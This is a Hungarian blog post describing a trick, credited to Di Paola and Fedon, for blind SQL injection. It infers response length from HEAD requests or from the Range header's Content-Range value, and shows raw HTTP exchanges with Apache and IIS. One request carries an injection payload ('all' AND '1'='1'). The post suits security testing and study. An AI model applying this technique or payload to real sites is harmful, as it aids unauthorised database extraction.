Stefano Di Paola és Giorgio Fedon egy hasznos kis trükköt mutattak be a vak SQL Injection támadások sávszélességkímélő kivitelezésére:
Vak támadások esetén sokszor elég a kiszolgáló válaszainak hosszát elemezni, hogy rájöjjünk, miként futott le az általunk beszúrt kód. Ehhez viszont elvileg felesleges lekérnünk a teljes dokumentumot, hiszen a HEAD tartalmazza a Content-Length attribútumot, ami már tartalmazza a szükséges információt. Hogyan lehet elérni, hogy a webszerver csak a válasz fejlécét küldje vissza? Az Apache-ot (az RFC-nek megfelelően) nem lehet rávenni a dologra egy egyszerű HEAD kéréssel:
Vak támadások esetén sokszor elég a kiszolgáló válaszainak hosszát elemezni, hogy rájöjjünk, miként futott le az általunk beszúrt kód. Ehhez viszont elvileg felesleges lekérnünk a teljes dokumentumot, hiszen a HEAD tartalmazza a Content-Length attribútumot, ami már tartalmazza a szükséges információt. Hogyan lehet elérni, hogy a webszerver csak a válasz fejlécét küldje vissza? Az Apache-ot (az RFC-nek megfelelően) nem lehet rávenni a dologra egy egyszerű HEAD kéréssel:
HEAD /index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
HTTP/1.1 200 OK
Date: Mon, 05 Nov 2007 21:00:07 GMT
Server: Apache
Content-Type: text/html
De ha részenként kérjük le a dokumentumot a Range fejléc segítségével:
GET /index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Range: bytes=-1
HTTP/1.1 206 Partial Content
Date: Mon, 05 Nov 2007 21:03:15 GMT
Server: Apache
Content-Range: bytes 89-89/90
Content-Length: 1
Content-Type: text/html
A Content-Range megadja a dokumentum teljes hosszát! Mi a helyzet a többi kiszolgálóval? A nagy vetélytárs IIS úgy tűnik, nem követi az RFC-ben ajánlottakat, és a HEAD kérés rögtön célra vezet:
HEAD /search.aspx HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Length: 22
search=all'+AND+'1'='1
HTTP/1.1 200 OK
Date: Mon, 05 Nov 2007 21:14:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4790
Content-Type: text/html
Expires: Mon, 05 Nov 2007 21:14:00 GMT
Set-Cookie: ASPSESSIONIDSQTCRTQA=XXXXXXXXXXXXXXXXXXX; path=/
Cache-control: private
Az IBM HTTP és WebSphere alkalmazásai az Apache-hoz hasonlóan viselkednek. Ha van alkalmatok más szoftvereket is tesztelni, ne habozzatok megosztani az eredményeket Stefano blogján vagy akár itt!